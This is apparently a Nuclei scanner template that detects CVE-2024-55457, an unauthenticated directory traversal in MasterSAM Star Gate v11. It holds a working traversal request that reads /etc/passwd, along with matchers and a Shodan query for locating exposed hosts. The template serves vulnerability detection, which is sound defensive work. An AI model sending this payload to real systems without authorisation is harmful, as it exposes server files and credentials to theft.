id: CVE-2024-55457

info:
  name: MasterSAM Star Gate v11 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the server, potentially exposing sensitive configuration data, credentials, and system files.
  remediation: |
    Contact MasterSAM for a patched version of Star Gate v11 that addresses the directory traversal vulnerability.
  reference:
    - https://github.com/h13nh04ng/CVE-2024-55457-PoC
    - https://x.com/cyber_advising/status/1876034270852231257
  classification:
    cve-id: CVE-2024-55457
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    epss-score: 0.03012
    epss-percentile: 0.85678
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MasterSAM"
  tags: cve,cve2024,lfi,mastersam,v11,adama,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adama/adama/downloadService?type=1&file=../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(header, 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502210087e1fa7f271ca021d9261bb0b2388214bb3824f6d152708ef1f9801730d9d08b02200dbc7e7d30daf67252bfd334380a0216c21fbab8d9b59f64098d7342b7e5569b:922c64590222798bb761d5b6d8e72950